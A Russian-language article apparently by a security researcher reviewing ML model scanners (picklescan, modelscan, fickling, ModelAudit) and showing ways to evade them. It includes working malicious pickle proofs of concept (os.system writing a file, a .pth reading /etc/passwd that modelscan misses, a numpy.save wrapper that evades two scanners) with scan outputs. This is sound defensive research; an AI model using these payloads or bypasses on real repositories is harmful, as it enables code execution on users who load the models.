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Сканеры ML-моделей: разбор инструментов и некоторых методов обхода их проверок

Содержание

Не у всех нас имеется достаточное количество ресурсов (вычислительных, умственных и других) для проектирования и обучения ML-моделей с нуля. Поэтому кажется логичным взять уже готовые модели — к счастью, за нас многое уже сделано. Для понимания масштаба: на одном только HF (репозиторий Hugging Face) уже доступно для скачивания более двух миллионов моделей.

Не все они были загружены авторитетными компаниями или экспертами, не все имеют десятки тысяч скачиваний в сутки. Даже изначально легитимные открытые репозитории могут оказаться источником риска. Компания Mitiga недавно поделилась статистикой о проценте репозиториев в мире ML, содержащих уязвимости критического или высокого уровня опасности в GitHub Actions Workflows.

Иллюстрация результатов сканирования файлов в случайном репозитории Hugging Face
Иллюстрация результатов сканирования файлов в случайном репозитории Hugging Face

Меня зовут Вячеслав Мосин, я учусь в магистратуре AI Talent Hub в ИТМО, прохожу практику в лаборатории ITMO AI Security Lab и работаю в Positive Technologies в отделе экспертизы MaxPatrol VM. В этой статье я расскажу о том, какие существуют инструменты для проверки ML-моделей, как они сканируют артефакты различных ML-фреймворков, о том, какой еще функционал заложен в них. А в финале несколькими способами попробуем обойти проверки рассматриваемых инструментов.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование информации.

О каких сканерах идет речь

Компания OWASP в своем топе угроз Top 10 for LLM упоминает риск отравления данных или моделей в нескольких главах: «LLM03:2025 Supply Chain» и «LLM04: Data and Model Poisoning». Упомянутый документ ссылается на следующую модель угроз для LLM:

Угрозы в цепочке поставок для систем, использующих LLM – источник
Угрозы в цепочке поставок для систем, использующих LLM – источник

Инструменты, описанные в статье, помогают снизить риски, связанные с загрузкой отравленных моделей и данных (T05 и T06 в таблице угроз на рисунке), за счет проверки содержимого артефактов хранения моделей машинного обучения.

Форматы хранения моделей машинного обучения

Хочется сказать просто – их много.

Чтобы увидеть полную картину, можно заглянуть в репозиторий trailofbits/ml-file-formats – в нем приведен список более 50 форматов, хотя сам он не обновлялся уже более года.

Останавливаться на разборе каждого из форматов не будем – это выходит за рамки статьи, стоит отметить, что основной угрозой являются форматы, при загрузке допускающие выполнение кода, который можно заранее в них внедрить. Чаще всего в контексте этого говорится об артефактах протокола сериализации Pickle (файлы имеют расширение .pkl) и о тех, которые базируются на нем, например:

  • фреймворк PyTorch использует форматы хранения .pt, .pth, .ckpt, .bin, которые представляют собой архивированные pickle-объекты

  • библиотека Joblib оперирует своим расширением .joblib, но внутри по-прежнему pickle-объекты, но поверх него добавлен свой слой логики и формат хранения

  • NumPy - внутри .npy, .npz снова используются объекты формата pickle

Хороший пример приоритезации форматов хранения моделей по уровню риска от их использования представлен в документации сканера modelaudit.

Подробнее про Pickle

В качестве основного подопытного формата сериализации для статьи был выбран Pickle по нескольким причинам: во-первых, как уже отмечалось, многие популярные фреймворки из мира ML используют Pickle внутри своих форматов хранения; во-вторых, при помощи Pickle не составляет большого труда собрать такой файл, который выполнит произвольный код при десериализации – это повышает важность сканирования Pickle-файлов и упрощает эксперименты.

Итак, Pickle – протокол для сериализации и десериализации объектов Python, в контексте Pickle часто используются термины «pickling» – процесс конвертации объекта в байтовый поток, а через «unpickling» обозначается обратная операция.

Какие типы данных можно «пиклить»: встроенные константы, числа, строки, байты и их массивы, картежи, списки, словари; с некоторыми ограничениями – функции, классы и их экземпляры. Подробнее можно почитать в документации.

Пример сериализации и десериализации:

import pickle

pickled = pickle.dumps(['for', 'pickling', 'test'])
unpickled = pickle.loads(pickled)

print(f"pickled: '{pickled}'")
print(f"unpickled: '{unpickled}'")

>>> pickled: 'b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x03for\x94\x8c\x08pickling\x94\x8c\x04test\x94e.''
>>> unpickled: '['for', 'pickling', 'test']'

Следует учитывать, что результатом pickling является сохраненный в памяти специфическим образом закодированный набор операций для восстановления оригинальной структуры объекта вместе с исходными данными.

В большинстве случаев нет необходимости вмешиваться в процессы сериализации и обратного преобразования, но такая возможность заложена в Pickle. Например, метод __reduce__ позволяет в процессе десериализации обратиться к вызываемому объекту (callable object) и передать в него аргументы.

Простейший пример использования __reduce__ c полезной нагрузкой в виде записи в произвольные файлы на системе приведен ниже:

import pickle
import os

class Malicious:
    def __reduce__(self):
        cmd = 'echo "HACKED" > /tmp/hacked'
        return os.system, (cmd,)

malicious_payload = Malicious()

with open('exploit_os_system.pkl', 'wb') as f:
    pickle.dump([malicious_payload], f)

with open('exploit_os_system.pkl', 'rb') as f:
    data = pickle.load(f)

Почитать про опасность использования Pickle можно в следующих статьях:

Сканеры моделей

Как уже отмечалось, при загрузке файлов в репозитории Hugging Face выполняются проверки этих файлов, в том числе и статическими сканерами моделей ИИ (HF для этого использует встроенный сканер JFrog, modelscan от Protect AI и собственный инструмент под названием picklescan).

В этой части статьи приводится обзор основных на сегодняшний день статических сканеров моделей ИИ с открытым исходным кодом:

  • picklescan

  • modelscan

  • fickling

  • ModelAudit

picklescan

Репозиторий: https://github.com/mmaitre314/picklescan

Примитивный сканер, разрабатываемый Hugging Face, логика его работы основана на применении паттерновых проверок для названий загружаемых модулей. Очевидно, что невозможно разработать проверки для всех возможных модулей (на текущий момент к опасным отнесено около 70 глобальных имен, это определено переменной _unsafe_globals в файле scanner.py), которые могут использоваться во вредоносных целях, поэтому эффективность сканера весьма ограничена.

На вход принимает файлы в форматах:

  • numpy: ".npy"

  • pytorch: ".bin", ".pt", ".pth", ".ckpt"

  • pickle: ".pkl", ".pickle", ".joblib", ".dat", ".data"

  • zip: ".zip", ".npz", ".7z"

Для файлов всех форматов применяется единая логика:

  1. Внутри файла или архива происходит поиск данных, сериализованных по протоколу Pickle

  2. Из найденных данных извлекаются глобальные имена (_list_globals)

  3. Если какое-то глобальное имя совпадает с паттерном из _unsafe_globals, то глобальное имя сохраняется в список сработок с уровнем опасности SafetyLevel.Dangerous

  4. В случае если обрабатываемое глобальное имя не попадает ни под один из фильтров (safe_filter или unsafe_filter), то оно добавляется в список сработок с отдельным уровнем опасности SafetyLevel.Suspicious (другие уровни: Innocuous, Dangerous)

Посмотрим на работу picklescan на практике, для этого при помощи следующего кода создадим пример «зловреда», позволяющего производить запись в произвольные файлы на системе во время десериализации:

import pickle
import os

class Malicious:
    def __reduce__(self):
        cmd = 'echo "HACKED" > /tmp/hacked'
        return os.system, (cmd,)

malicious_payload = Malicious()

with open('exploit_os_system.pkl', 'wb') as f:
    pickle.dump([malicious_payload], f)

with open('exploit_os_system.pkl', 'rb') as f:
    pickle.load(f)

Отчет picklescan о результате проверки «exploit_os_system.pkl»:

$ picklescan --globals --path .\exploit_os_system.pkl
\...\exploit_os_system.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Dangerous globals: 1
All globals found:
  * posix.system - dangerous

Другие интересные моменты, связанные с использованием picklescan:

  • Документация ограничена файлом README

  • Доступно сканирование файлов в удаленных репозиториях HuggingFace

  • Для сканера задокументированы коды завершения (exit codes)

    • 0: scan did not find malware

    • 1: scan found malware

    • 2: scan failed

  • Флаг -g/--globals позволяет выводить полученные глобальные имена из сканируемого файла

modelscan

Репозиторий: https://github.com/protectai/modelscan

Инструмент компании Protect AI поддерживает проверку артефактов фреймворков PyTorch, TensorFlow, Keras, Sklearn и XGBoost. Принцип работы прост: получая на вход путь к директории или файлу, формируется список артефактов для проверки, к каждому из них применяется проверка всеми сканерами.

Рассмотрим механику работы некоторых встроенных сканеров.

Сканирование артефактов Pickle при помощи modelscan

Код проверки: /modelscan/scanners/pickle/scan.py#L72

  1. Получение из файла всех глобальных имен

  2. Сопоставление со словарём потенциально опасных импортов, стоит отметить, что сам словарь довольно компактен (/modelscan/settings.py#L94)

  3. Если какое-то глобальное имя, полученное из анализируемого файла, совпало с одним из _unsafe_globals , то сработка сохраняется для формирования итогового отчета.

Сканирование артефактов Pytorch при помощи modelscan

Код проверки: /modelscan/scanners/pickle/scan.py#L17

Изначально казалось, что нет смысла отдельно разбирать процесс сканирования артефактов фреймворка Pytorch, ведь, наверное, здесь все аналогично picklescan — если встретили архив, то распаковываем его и ищем интересные для сканирования файлы. Однако интуиция подвела — если файл имеет расширение, к примеру, .pth и представляет собой zip-архив, то его сканирование просто пропускается.

Данная логика реализована в файле /modelscan/scanners/pickle/scan.py, ниже представлена его часть:

class PyTorchUnsafeOpScan(ScanBase):
    def scan(
        self,
        model: Model,
    ) -> Optional[ScanResults]:
        if SupportedModelFormats.PYTORCH.value not in [
            format_property.value for format_property in model.get_context("formats")
        ]:
            return None
        
        # ПРОПУСКАЕМ АРХИВ 
        if _is_zipfile(model.get_source(), model.get_stream()):
            return None

        results = scan_pytorch(
            model=model,
            settings=self._settings,
        )

        return self.label_results(results)

Приведенный ниже скрипт создает файл .pth с полезной нагрузкой для вывода первых трех строк файла /etc/passwd на хосте в процессе десериализации:

import torch
import dill

def run_cmd(cmd):
    import builtins
    module = getattr(builtins, '__import__')('os')
    getattr(module, 'system')(cmd)

class Exploit:
    def __reduce__(self):
        return (run_cmd, ("cat /etc/passwd | head -3",))

model = torch.nn.Linear(1, 1)
exploit = Exploit()

torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Скрипт собирает артефакт malicious.pth, попробуем загрузить его:

>>> import torch
>>> import dill
>>> torch.load('malicious.pth', pickle_module=dill)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
{'model': Linear(in_features=1, out_features=1, bias=True), 'exploit': None}

Как видно, полезная нагрузка работает. Теперь просканируем файл malicious.pth при помощи modelscan:

$ modelscan scan -p malicious.pth
No settings file detected at .../torch_not_obfuscated/modelscan-settings.toml. Using defaults. 

Scanning .../torch_not_obfuscated/malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---
 No issues found! 🎉
--- Skipped --- 

Total skipped: 7 - run with --show-skipped to see the full list.

Согласно отчету, инструмент в процессе работы определил, что внутри архива существует файл data.pkl, но обработал это благодаря модулю PickleUnsafeOpScan, а специфичный для PyTorch модуль сработку не выдал.

Данный пример подсвечивает необходимость практического исследования возможностей таких сканеров перед внедрением в промышленную эксплуатацию, не основываясь только на декларируемых возможностях в описаниях проектов.

fickling

Репозиторий: https://github.com/trailofbits/fickling

Подписания инструмента из README проекта:

Fickling — это декомпилятор, статический анализатор и «bytecode rewriter» для сериализованных объектов Python в формате pickle. С помощью Fickling вы можете обнаруживать, анализировать, проводить реверс-инжиниринг или даже создавать зловредные файлы pickle или файлы, основанные на pickle, включая форматы PyTorch.

Сериализованные объекты Python на самом деле представляют собой байткод, который интерпретируется встроенной в Python «stack-based virtual machine» под названием «Pickle Machine». Fickling может принимать потоки данных pickle и декомпилировать их в читабельный Python-код, который при выполнении десериализует объект в исходный сериализованный вид. Это стало возможным благодаря кастомной реализации «Pickle Machine» в Fickling. Fickling безопасен для запуска на потенциально вредоносных файлах, поскольку его PM выполняет код символически, без его запуска напрямую.

Советую самостоятельно изучить README, в нем описаны и другие фичи продукта, в число которых входит:

  • использование сканера как фильтра загружаемых кодом моделей через хуки

  • распознание, валидация и создание файлов-полиглотов на базе разных версий форматов хранения PyTorch.

Практическое знакомство с инструментом предлагаю начать с чего-то экзотического — с чего-то такого, что не смогли продемонстрировать рассмотренные ранее сканеры. Возможность трейсирования виртуальной машины Pickle подходит для этого.

Чаще всего для статического анализа файлов pickle используется встроенный в стандартную библиотеку Python дизассемблер под названием pickletools (например, уже упоминавшийся сканер «picklescan» в процессе своей работы использует именно pickletools — /picklescan/scanner.py#L256).

Далее проанализируем разбор уже упоминавшегося примера зловредного pickle-файла силами fickling --trace в сравнении с pickletools.

спойлер
спойлер

Код сборки «зловредного» pickle:

import pickle
import os

class Malicious:
    def __reduce__(self):
        cmd = 'echo "HACKED" > /tmp/hacked'
        return os.system, (cmd,)

malicious_payload = Malicious()

with open('exploit_os_system.pkl', 'wb') as f:
    pickle.dump([malicious_payload], f)

with open('exploit_os_system.pkl', 'rb') as f:
    pickle.load(f)

Отчет pickletools (флаг -a добавляет аннотации, кратко описывающие каждый опкод):

  $ python -m pickletools -a exploit_os_system.pkl
    0: \x80 PROTO      4              Protocol version indicator.
    2: \x95 FRAME      57             Indicate the beginning of a new frame.
   11: ]    EMPTY_LIST                Push an empty list.
   12: \x94 MEMOIZE    (as 0)         Store the stack top into the memo.  The stack is not popped.
   13: \x8c SHORT_BINUNICODE 'posix'  Push a Python Unicode string object.
   20: \x94 MEMOIZE    (as 1)         Store the stack top into the memo.  The stack is not popped.
   21: \x8c SHORT_BINUNICODE 'system' Push a Python Unicode string object.
   29: \x94 MEMOIZE    (as 2)         Store the stack top into the memo.  The stack is not popped.
   30: \x93 STACK_GLOBAL              Push a global object (module.attr) on the stack.
   31: \x94 MEMOIZE    (as 3)         Store the stack top into the memo.  The stack is not popped.
   32: \x8c SHORT_BINUNICODE 'echo "HACKED" > /tmp/hacked' Push a Python Unicode string object.
   61: \x94 MEMOIZE    (as 4)         Store the stack top into the memo.  The stack is not popped.
   62: \x85 TUPLE1                    Build a one-tuple out of the topmost item on the stack.
   63: \x94 MEMOIZE    (as 5)         Store the stack top into the memo.  The stack is not popped.
   64: R    REDUCE                    Push an object built from a callable and an argument tuple.
   65: \x94 MEMOIZE    (as 6)         Store the stack top into the memo.  The stack is not popped.
   66: a    APPEND                    Append an object to a list.
   67: .    STOP                      Stop the unpickling machine.
highest protocol among opcodes = 4

Отчет fickling --trace:

$ fickling --trace .\exploit_os_system.pkl
PROTO
FRAME
EMPTY_LIST
        Pushed []
MEMOIZE
        Memoized 0 -> []
SHORT_BINUNICODE
        Pushed 'posix'
MEMOIZE
        Memoized 1 -> 'posix'
SHORT_BINUNICODE
        Pushed 'system'
MEMOIZE
        Memoized 2 -> 'system'
STACK_GLOBAL
        from posix import system
        Popped 'system'
        Popped 'posix'
        Pushed system
MEMOIZE
        Memoized 3 -> system
SHORT_BINUNICODE
        Pushed 'echo "HACKED" > /tmp/hacked'
MEMOIZE
        Memoized 4 -> 'echo "HACKED" > /tmp/hacked'
TUPLE1
        Popped 'echo "HACKED" > /tmp/hacked'
        Pushed ('echo "HACKED" > /tmp/hacked',)
MEMOIZE
        Memoized 5 -> ('echo "HACKED" > /tmp/hacked',)
REDUCE
        _var0 = system('echo "HACKED" > /tmp/hacked')
        Popped ('echo "HACKED" > /tmp/hacked',)
        Popped system
        Pushed _var0
MEMOIZE
        Memoized 6 -> _var0
APPEND
        Popped _var0
STOP
        result0 = [_var0]
        Popped [_var0]

from posix import system
_var0 = system('echo "HACKED" > /tmp/hacked')
result0 = [_var0]

В отчете Fickling помимо вывода последовательности символическего выполнения кода, демонстрируется еще и более человекочитаемый формат представления данных внутри Pickle – в виде кода на Python. Благодаря такому декомпилированию fickling --trace выигрывает в сравнении с pickletools в интерпретируемости результата.

Рассмотрев трассировку ВМ Pickle, вернёмся к проверке файлов на наличие «зловреда». Стоит отметить, что данный инструмент поддерживает проверку только тех данных, которые сериализованы по протоколу Pickle.

Сканирование происходит по следующему алгоритму:

  1. Загрузка файла и его парсинг
    Основная функциональность на данном шаге представлена в методе load класса Pickled в файле /fickling/fickle.py#L766, в нем реализован цикл прохода по всем опкодам анализируемого pickle-файла, для каждого опкода инструмент собирает следующий набор данных:

    1. info – объект класса OpcodeInfo, в себя включает атрибуты, обозначающие имя и код опкода, аргумент, состояние стека до и после выполнения опкода, версия протокола Pickle в которой был добавлен опкод, человекочитаемое описание для опкода

    2. argument – аргумент опкода

    3. data – сырые байты опкода, включающие его код и аргумент (если есть)

    4. position – позиция опкода

  2. Проверка загруженных данных несколькими анализаторами
    На момент написания статьи в сканере используется восемь анализаторов (/fickling/analysis.py). Рассмотрим предназначение каждого из них:

    1. DuplicateProtoAnalysis – обнаруживает дублирующиеся опкоды PROTO, что нетипично для легитимных pickle-файлов и может указывать на модификацию;

    2. MisplacedProtoAnalysis – проверяет, что PROTO опкод находится в начале файла (требование для версий ≥2), нарушение может быть признаком подделки;

    3. NonStandardImports – выявляет импорты модулей, не входящих в стандартную библиотеку Python, что потенциально опасно;

    4. UnsafeImportsML – детектирует импорты известных опасных модулей (os, subprocess, builtins) и функций (eval, torch.load), используя предопределённый список угроз;

    5. BadCalls – ищет прямые вызовы критически опасных функций (exec, eval, compile, open);

    6. OvertlyBadEvals – анализирует все вызовы функций (кроме setstate), выявляя явно вредоносные (eval, exec) и потенциально небезопасные вызовы;

    7. UnsafeImports – использует метод pickled.unsafe_imports() для поиска подозрительных импортов из базового набора опасных модулей;

    8. UnusedVariables – находит переменные, которым присвоены значения, но они нигде не используются; такое поведение подозрительно и может скрывать вредоносный код.

  3. Сохранение результата

Сканирование на практике выполним при помощи созданного ранее exploit_os_system.pkl:

$ fickling --check-safety .\...\exploit_os_system.pkl
$ cat safety_results.json 
{
    "severity": "LIKELY_OVERTLY_MALICIOUS",
    "analysis": "`from posix import system` uses `posix` that is indicative of a malicious pickle file. This module contains functions that can perform system operations and execute arbitrary code.\n`from posix import system` is suspicious and indicative of an overtly malicious pickle file\nVariable `_var0` is assigned value `system(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
    "detailed_results": {
        "AnalysisResult": {
            "UnsafeImportsML": "from posix import system",
            "UnsafeImports": "from posix import system",
            "UnusedVariables": [
                "_var0",
                "system(...)"
            ]
        }
    }
}

Подготовленный «зловред» получил почти максимальную оценку опасности – Likely Overtly Malicious, список всех severity-меток представлен ниже (/fickling/analysis.py#L69):

class Severity(Enum):
    LIKELY_SAFE = (0, "No Unsafe Operations Discovered")
    POSSIBLY_UNSAFE = (1, "Possibly Unsafe")
    SUSPICIOUS = (2, "Suspicious")
    LIKELY_UNSAFE = (3, "Likely Unsafe")
    LIKELY_OVERTLY_MALICIOUS = (4, "Likely Overtly Malicious")
    OVERTLY_MALICIOUS = (5, "Overtly Malicious")

Вывод по Fickling:
Инструмент представляет собой интересное решение, включающее проверки, отсутствующие у ранее рассмотренных сканерах. Его логика основана на собственной реализации виртуальной машины Pickle, а функциональность выходит за рамки сканирования файлов.

ModelAudit

Обзор сканеров завершает ModelAudit, являющийся компонентом более объемного инструмента для тестирования приложений на базе LLM под названием promptfoo.

Среди прочих сканеров ModelAudit сразу выделяется документацией – удивляет не только ее наличие, но и ее объем и качество. Ссылки на документацию:

На данный момент сканер поддерживает работу с артефактами следующих фреймворков и расширений:
PyTorch (.pt, .pth, .bin), TensorFlow SavedModel (.pb, directories), TensorFlow Lite (.tflite), TensorRT (.engine, .plan), Keras (.h5, .keras, .hdf5), ONNX (.onnx), SafeTensors (.safetensors), GGUF/GGML (.gguf, .ggml, .ggmf, .ggjt, .ggla, .ggsa), Flax/JAX (.msgpack, .flax, .orbax, .jax), JAX Checkpoints (.ckpt, .checkpoint, .orbax-checkpoint), Pickle (.pkl, .pickle, .dill), Joblib (.joblib), NumPy (.npy, .npz), PMML (.pmml), ZIP Archives (.zip), Container Manifests (.manifest), Binary Files (.bin)

Ознакомиться с тем, какие проверки выполняются для каждого формата, можно в документации на странице ModelAudit Scanners.

В ходе валидации файла сканер выполняет разные проверки для поиска проблем безопасности, ниже представлены некоторые из них:

  • Malicious Code: Обнаружение потенциально опасного кода в pickled-моделях

  • Suspicious Operations: Идентификация рискованных операций TensorFlow и пользовательских операторов ONNX

  • Unsafe Layers: Поиск потенциально небезопасных слоёв Keras Lambda

  • Blacklisted Names: Проверка моделей с именами, совпадающими с подозрительными шаблонами

  • Dangerous Serialization: Обнаружение небезопасных pickle-операций, вложенных pickle-объектов и цепочек «decode-exec»

  • Enhanced Dill/Joblib Security: Расширенное ML-сканирование с проверкой формата и защитой от обхода ограничений

  • Encoded Payloads: Поиск подозрительных строк, которые могут указывать на скрытый код

  • Risky Configurations: Обнаружение опасных настроек в архитектуре моделей

  • XML Security: Обнаружение XXE-атак и вредоносного содержимого в PMML-файлах

  • Embedded Executables: Поиск встроенных исполняемых файлов (Windows PE, Linux ELF, macOS Mach-O)

  • Container Security: Сканирование файлов моделей внутри контейнерных слоёв OCI/Docker

  • Compression Attacks: Обнаружение zip-бомб и атак, связанных с распаковкой

  • Weight Anomalies: Статистический анализ для выявления потенциальных бэкдоров

  • Format Integrity: Проверка целостности структуры файлового формата

  • License Compliance: Обнаружение ограничений лицензий (например, AGPL) и коммерческих ограничений

  • DVC Integration: Автоматическое определение и сканирование моделей, отслеживаемых через DVC

  • Secrets Detection: Поиск встроенных API-ключей, токенов и учётных данных

  • Network Analysis: Обнаружение URL, IP и сетевого взаимодействия, которое может привести к утечке данных

  • JIT Code Detection: Сканирование TorchScript, пользовательских операций ONNX и другого JIT-компилированного кода

На момент написания статьи github репозиторий modelaudit при обращении выдает ошибку и является недоступным. Но для просмотра исходного кода достаточно установить modelaudit при помощи pip install modelaudit[all] и далее найти директорию Lib\site-packages\modelaudit\ внутри активного виртуального окружения Python, в ней находятся все исходники.

Кодовая база инструмента имеет следующую структуру (взято из карточки проекта на портале PyPI):

modelaudit/
├── scanners/         # 29 specialized file format scanners
│   ├── pickle_scanner.py, pytorch_*.py, onnx_scanner.py, etc.
│   └── base.py - BaseScanner class with shared functionality
│
├── detectors/        # Security threat detection modules
│   ├── cve_patterns.py - Known CVE patterns (CVE-2025-32434, etc.)
│   ├── secrets.py - API keys, tokens, credentials
│   ├── jit_script.py - JIT/TorchScript malicious code
│   ├── network_comm.py - URLs, IPs, sockets
│   └── suspicious_symbols.py - Dangerous function calls
│
├── integrations/     # External system integrations
│   ├── jfrog.py - JFrog Artifactory support
│   ├── mlflow.py - MLflow registry support
│   ├── sbom_generator.py - CycloneDX SBOM generation
│   ├── sarif_formatter.py - SARIF output format
│   └── license_checker.py - License compliance
│
├── analysis/         # Advanced analysis algorithms
│   ├── anomaly_detector.py, entropy_analyzer.py
│   └── ml_context_analyzer.py - Context-aware analysis
│
├── utils/
│   ├── file/         # File handling (detection, filtering, streaming)
│   ├── sources/      # Model sources (HuggingFace, cloud, JFrog, DVC)
│   └── helpers/      # Generic utilities (retry, caching, etc.)
│
├── cache/            # Caching system for scan results
├── auth/             # Authentication for remote sources
├── progress/         # Progress tracking and UI
│
├── core.py           # Main scanning orchestration
└── cli.py            # Command-line interface

Другие особенности инструмента:

  • При установке в связке с promptfoo имеет графический интерфейс

  • Поддерживает сканирование артефактов из удаленных источников (HuggingFace Hub, Amazon S3, Google Cloud Storage и другие), полный список поддерживаемых источников - ссылка

  • Подходит для интеграции в пайплайны CI/CD, имеет задокументированные коды завершения (exit codes) - ссылка):

    • 0: No security issues found

    • 1: Security issues detected (warnings or critical)

    • 2: Scan errors occurred (installation, file access, etc.)

  • Из коробки имеет несколько способов установки – при помощи пакетных менеджеров pip и npm или через Docker-контейнер

Сканирование на практике выполним при помощи созданного ранее exploit_os_system.pkl. Отчет modelaudit.
$ modelaudit scan --format json --output .\exploit_os_system.pkl.json  .\exploit_os_system.pkl
...
$ cat .\exploit_os_system.pkl.json
{
  "bytes_scanned": 68,
  "issues": [
    {
      "message": "Suspicious reference posix.system",
      "severity": "critical",
      "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl",
      "details": {
        "module": "posix",
        "function": "system",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.0
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1766475716.6643486,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: posix.system. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "critical",
      "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl (pos 64)",
      "details": {
        "position": 64,
        "opcode": "REDUCE",
        "associated_global": "posix.system",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.0
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766475716.6649423,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious module reference found: posix.system",
      "severity": "critical",
      "location": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl (pos 30)",
      "details": {
        "module": "posix",
        "function": "system",
        "position": 30,
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.0
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1766475716.66521,
      "type": "pickle_check"
    }
  ],
  "checks": [
    {
     < СОКРАЩЕНО >
    }
  ],
  "files_scanned": 1,
  "assets": [
    {
      "path": "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl",
      "type": "pickle",
      "size": 68
    }
  ],
  "has_errors": false,
  "scanner_names": [],
  "file_metadata": {
    "< АНОНИМИЗИРОВАНО >\\exploit_os_system.pkl": {
      "file_size": 68,
      "file_hashes": {
        "md5": "0ad312bd0babad43c4f2ee8aa2f35c43",
        "sha256": "c8f2b14c6720cea42c0e08f545a05d23a3555eeac42a6574930768d3046f33d4",
        "sha512": "5a898e9c8e4db44782857a72c75da2c1809bbe9aade607d1f29aee8fd6c0c1404b5259918a7d469b36c3f7dffe2051e79383b1cf62d66b97361c1698d1878a29"
      },
      "max_stack_depth": 0,
      "opcode_count": 18,
      "suspicious_count": 2,
      "ml_context": {
        "frameworks": {},
        "overall_confidence": 0.0,
        "is_ml_content": false,
        "detected_patterns": [],
        "optimization_hints": []
      },
      "license_info": [],
      "copyright_notices": [],
      "license_files_nearby": [],
      "is_dataset": true,
      "is_model": true,
      "risk_score": 0.0,
      "scan_timestamp": 1766475716.6656933
    }
  },
  "content_hash": "b7898899d10ccf40e66c39c9cf565d818295fa2db01e8b3100512940a4795129",
  "start_time": 1766475716.5934618,
  "duration": 0.07524228096008301,
  "total_checks": 16,
  "passed_checks": 13,
  "failed_checks": 3,
  "success": true
}

Вывод по ModelAudit:
Данный сканер имеет самое широкое покрытие разных форматов моделей машинного обучения и для каждого из форматов применяет проверки разных типов. Для инструмента написана подробная документация и подготовлено несколько способов его установки. Среди обозреваемых сканеров именно ModelAudit показался мне самым зрелым инструментом.

Способы обхода сканеров

Сканеров много, разных проверок внутри них еще больше, теперь посмотрим, так ли сложно их обойти, используя для этого разные техники.

Обход проверок через использование функций «оберток»

Некоторые сканеры в качестве основного механизма проверки модели используют простую логику – вытягивают из файла список глобальных имен и сверяют его с заранее заготовленным списком потенциально опасных модулей и функций. Очевидно, что злоумышленник может найти такой модуль, который не помечен как опасный, и в процессе своей работы сам выполняет интересный для злоумышленника функционал или вызывает для выполнения опасную функцию (например, для работы с файлом вызывает встроенную в Python функцию open).

У этого способа есть ограничение – в окружении, в котором загружается pickle-файл, должен быть доступен объект, на который ссылается __reduce__ в своем return.

Итак, PoC сборки pickle файла, который в процессе загрузки производит запись в файл "/tmp/hacked.npy":

import pickle
import random
import numpy as np

tabular_data = [
    {
        "id": i,
        "name": f"Item-{i}",
        "value": random.randint(1, 100),
        "category": random.choice(['A', 'B', 'C'])
    }
    for i in range(1, 6)
]

class Malicious:
    def __reduce__(self):
	    # ASCII для "HACKED\n"
        data = np.array([72, 65, 67, 75, 69, 68, 10], dtype=np.uint8)  
        return (
            np.save,
            ('/tmp/hacked.npy', data)
        )

malicious_payload = Malicious()

with open('bypass_numpy.pkl', 'wb') as f:
    pickle.dump([tabular_data, malicious_payload], f)

Код загрузки собранного файла:

import pickle

with open('bypass_numpy.pkl', 'rb') as f:
    data = pickle.load(f)

print("Loaded data:")
print(data)

Загрузка "bypass_numpy.pkl" в окружении с установленным numpy:

(ai_venv) $ pip show numpy | grep Version:
Version: 2.3.5
(ai_venv) $ rm /tmp/hacked.npy 
rm: cannot remove '/tmp/hacked.npy': No such file or directory

(ai_venv) $ python load.py 
Loaded data:
[[{'id': 1, 'name': 'Item-1', 'value': 98, 'category': 'A'}, {'id': 2, 'name': 'Item-2', 'value': 85, 'category': 'B'}, {'id': 3, 'name': 'Item-3', 'value': 18, 'category': 'B'}, {'id': 4, 'name': 'Item-4', 'value': 41, 'category': 'C'}, {'id': 5, 'name': 'Item-5', 'value': 43, 'category': 'A'}], None]
(ai_venv) $ cat /tmp/hacked.npy 
�NUMPYv{'descr': '|u1', 'fortran_order': False, 'shape': (7,), }
HACKED

Сводка проверок собранного "bypass_numpy.pkl" всеми сканерами (отчеты сканеров представлены ниже):

Сканер

Найдены ли проблемы

Уровень опасности

Обозначения сработавших проверок

picklescan

modelscan

fickling

LIKELY_UNSAFE

NonStandardImports,
UnusedVariables

modelaudit

warning, info

Found REDUCE opcode with nonallowlisted global:_reconstruct.ndarray ... ;

STACK_GLOBAL opcode found without sufficient string context

Отчет picklescan:

$ picklescan -p .\bypass_numpy.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0

Отчет modelscan:

$ modelscan -p bypass_numpy.pkl 
No settings file detected at /.../modelscan-settings.toml. Using defaults.

Scanning /.../bypass_numpy.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---
 No issues found! 🎉

Отчет fickling:

{
    "severity": "LIKELY_UNSAFE",
